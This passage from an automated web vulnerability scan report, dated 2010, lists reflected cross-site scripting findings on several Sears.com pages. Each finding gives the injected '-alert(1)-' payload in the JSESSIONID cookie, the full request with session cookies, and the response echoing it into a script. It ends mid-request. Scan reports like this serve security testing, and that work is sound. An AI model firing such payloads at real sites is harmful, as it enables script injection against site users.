Expires: Tue, 16 Nov 2010 17:58:54 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 16 Nov 2010 17:58:54 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=0000433I4hHA129A_75Oq0PxW46:15dvkmtaa; Path=/
Set-Cookie: KI_FLAG=false
Set-Cookie: KI_UNIT_NO=""
Set-Cookie: KI_ZIP_CODE=""
Set-Cookie: KI_USER_AGENT=false
Set-Cookie: akaau2=1289932134~id=d13f079c842bdd71ca23f44f0bcd1e16; path=/
s-srvr: aixwcs479p.prod.ch4.s.com, prd1
Content-Length: 77153


                           
...[SNIP]...
<script>
br_data.search_term = '';
br_data.session_id = '0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6re795c'-alert(1)-'ef7198b81e8';
br_data.is_conversion = "0";
       br_data.user_id = "";
       br_data.basket_value = "";
/* --- End parameter section --- */
var file = ("https:" == document.location.protocol) ? "https://cdns.brsrv
...[SNIP]...

1.22. http://www.sears.com/shc/s/GiveTogether [JSESSIONID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.sears.com
Path:   /shc/s/GiveTogether

Issue detail

The value of the JSESSIONID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 25f58'-alert(1)-'e2f4ca79397 was submitted in the JSESSIONID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shc/s/GiveTogether?storeId=10153&nextView=GTHomePageView&catalogId=12605&adCell=WF HTTP/1.1
Host: www.sears.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r25f58'-alert(1)-'e2f4ca79397; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
P3P: CP=CAO PSA OUR
Content-Type: text/html; charset=ISO-8859-1
Content-Language: en-US
Expires: Tue, 16 Nov 2010 17:59:09 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 16 Nov 2010 17:59:09 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=0000zjRDT2pXz5pq6L7SvdYxCfh:15g985v3s; Path=/
Set-Cookie: KI_FLAG=false
Set-Cookie: KI_UNIT_NO=""
Set-Cookie: KI_ZIP_CODE=""
Set-Cookie: KI_USER_AGENT=false
Set-Cookie: WC_PERSISTENT=Sry6dONppzWjDC8l%2bEu73v%2b8niY%3d%0a%3b2010%2d11%2d16+11%3a59%3a09%2e055%5f1289929919220%2d543%5f10153%5f1291865813%2c%2d1%2cUSD%5f10153; Expires=Fri, 11 Nov 2011 17:59:08 GMT; Path=/
Set-Cookie: WC_USERACTIVITY_-1002=DEL; Expires=Thu, 01 Dec 1994 16:00:00 GMT; Path=/
Set-Cookie: WC_GENERIC_ACTIVITYDATA=DEL; Expires=Thu, 01 Dec 1994 16:00:00 GMT; Path=/
Set-Cookie: WC_USERACTIVITY_1291865813=1291865813%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cwjkP5O3%2bOIY%2bJ%2bXuAT6fhoFnwjVLSIha03l1uLkHzF1aL3pAwXL8Z23tcauSoaXLc5ZXYrCgBrjr%0aOOEMy6Z7EWJrP2V3QC5hiRo%2bwmiAql%2fl6OkrKnSOnZOxM2KROHDLOP7IrVETuoQmDB5hmAbanw%3d%3d; Path=/
Set-Cookie: akaau2=1289932149~id=64ff620a8b76d5af84800b6bde2529a6; path=/
s-srvr: aixwcs461p.prod.ch4.s.com, prd1
Content-Length: 89430


                           
...[SNIP]...
<script>
br_data.search_term = '';
br_data.session_id = '0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r25f58'-alert(1)-'e2f4ca79397';
br_data.is_conversion = "0";
       br_data.user_id = "";
       br_data.basket_value = "";
/* --- End parameter section --- */
var file = ("https:" == document.location.protocol) ? "https://cdns.brsrv
...[SNIP]...

1.23. http://www.sears.com/shc/s/GiveTogetherHomeView [JSESSIONID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.sears.com
Path:   /shc/s/GiveTogetherHomeView

Issue detail

The value of the JSESSIONID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1c5e9'-alert(1)-'6166113888f was submitted in the JSESSIONID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shc/s/GiveTogetherHomeView?storeId=10153&catalogId=12605?storeId=10153&catalogId=12605&langId=&nextView=GTHomePageView&adCell=W3 HTTP/1.1
Host: www.sears.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r1c5e9'-alert(1)-'6166113888f; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
P3P: CP=CAO PSA OUR
Content-Type: text/html; charset=ISO-8859-1
Content-Language: en-US
Expires: Tue, 16 Nov 2010 18:01:42 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 16 Nov 2010 18:01:42 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=0000gMr0df16SfjgqdeUIJkC4bi:15dvkl8dr; Path=/
Set-Cookie: KI_FLAG=false
Set-Cookie: KI_UNIT_NO=""
Set-Cookie: KI_ZIP_CODE=""
Set-Cookie: KI_USER_AGENT=false
Set-Cookie: akaau2=1289932302~id=89316561ce0e0dd3e85b1e1066a5fba1; path=/
s-srvr: aixwcs463p.prod.ch4.s.com, prd3
Content-Length: 89456


                           
...[SNIP]...
<script>
br_data.search_term = '';
br_data.session_id = '0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r1c5e9'-alert(1)-'6166113888f';
br_data.is_conversion = "0";
       br_data.user_id = "";
       br_data.basket_value = "";
/* --- End parameter section --- */
var file = ("https:" == document.location.protocol) ? "https://cdns.brsrv
...[SNIP]...

1.24. http://www.sears.com/shc/s/OrderItemDisplay [JSESSIONID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.sears.com
Path:   /shc/s/OrderItemDisplay

Issue detail

The value of the JSESSIONID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ff0b0'-alert(1)-'9ada56724e7 was submitted in the JSESSIONID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shc/s/OrderItemDisplay?storeId=10153&catalogId=12605&orderId=. HTTP/1.1
Host: www.sears.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6rff0b0'-alert(1)-'9ada56724e7; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
P3P: CP=CAO PSA OUR
s-cs: 0
Content-Type: text/html; charset=ISO-8859-1
Content-Language: en-US
Expires: Tue, 16 Nov 2010 17:55:13 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 16 Nov 2010 17:55:13 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=00007k3QB_8JIlFeWS6ArLnwDnP:15g985n5b; Path=/
Set-Cookie: KI_FLAG=false
Set-Cookie: KI_UNIT_NO=""
Set-Cookie: KI_ZIP_CODE=""
Set-Cookie: KI_USER_AGENT=false
Set-Cookie: expressCookie=expressCookie; Expires=Thu, 01 Dec 1994 16:00:00 GMT; Path=/shc/s/
Set-Cookie: WC_PERSISTENT=%2f0eyIWDiHYV4SAe8idUc9xOp%2buY%3d%0a%3b2010%2d11%2d16+11%3a55%3a13%2e839%5f1289929919220%2d543%5f10153%5f1291904258%2c%2d1%2cUSD%5f10153; Expires=Fri, 11 Nov 2011 17:55:13 GMT; Path=/
Set-Cookie: WC_USERACTIVITY_-1002=DEL; Expires=Thu, 01 Dec 1994 16:00:00 GMT; Path=/
Set-Cookie: WC_GENERIC_ACTIVITYDATA=DEL; Expires=Thu, 01 Dec 1994 16:00:00 GMT; Path=/
Set-Cookie: WC_USERACTIVITY_1291904258=1291904258%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cfHMene8d%2bGFU%2bB%2fvCZgn8c0%2fBvt55q%2bdA4JySWOoykU36wmi7HAUNSMb%2bstjg%2b3jBndxyuKNt5dY%0auRl66YrPY0%2fNhph8GiCJ9Ovg6QUCZs1GuTEhmBM9FfOTPoToe9oH7QlsB%2f8IxrIYf5yA73O5%2fA%3d%3d; Path=/
Set-Cookie: akaau2=1289931913~id=914bec57fb7c878eaf1b029774eb68be; path=/
s-srvr: aixwcs445p.prod.ch4.s.com, prd2
Content-Length: 69765


                           
...[SNIP]...
<script>
br_data.search_term = '';
br_data.session_id = '0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6rff0b0'-alert(1)-'9ada56724e7';
br_data.is_conversion = "0";
       br_data.user_id = "";
       br_data.basket_value = "";
/* --- End parameter section --- */
var file = ("https:" == document.location.protocol) ? "https://cdns.brsrv
...[SNIP]...

1.25. http://www.sears.com/shc/s/StoreLocatorView [JSESSIONID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.sears.com
Path:   /shc/s/StoreLocatorView

Issue detail

The value of the JSESSIONID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 60f53'-alert(1)-'eee78ae671c was submitted in the JSESSIONID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shc/s/StoreLocatorView?storeId=10153&catalogId=12605 HTTP/1.1
Host: www.sears.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r60f53'-alert(1)-'eee78ae671c; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
P3P: CP=CAO PSA OUR
Content-Type: text/html; charset=ISO-8859-1
Content-Language: en-US
Expires: Tue, 16 Nov 2010 17:56:47 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 16 Nov 2010 17:56:47 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=00000wE8ERJiRySfZskEYCYs_n6:15dvln1qv; Path=/
Set-Cookie: KI_FLAG=false
Set-Cookie: KI_UNIT_NO=""
Set-Cookie: KI_ZIP_CODE=""
Set-Cookie: KI_USER_AGENT=false
Set-Cookie: akaau2=1289932007~id=22a9dda7e79833ff5942ae72c9fa876e; path=/
s-srvr: aixwcs475p.prod.ch4.s.com, prd4
Content-Length: 74374


                           
...[SNIP]...
<script>
br_data.search_term = '';
br_data.session_id = '0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r60f53'-alert(1)-'eee78ae671c';
br_data.is_conversion = "0";
       br_data.user_id = "";
       br_data.basket_value = "";
/* --- End parameter section --- */
var file = ("https:" == document.location.protocol) ? "https://cdns.brsrv
...[SNIP]...

1.26. http://www.sears.com/shc/s/smv_10153_12605 [JSESSIONID cookie]  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.sears.com
Path:   /shc/s/smv_10153_12605

Issue detail

The value of the JSESSIONID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d93cb'-alert(1)-'11121c42912 was submitted in the JSESSIONID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shc/s/smv_10153_12605 HTTP/1.1
Host: www.sears.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6rd93cb'-alert(1)-'11121c42912; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; 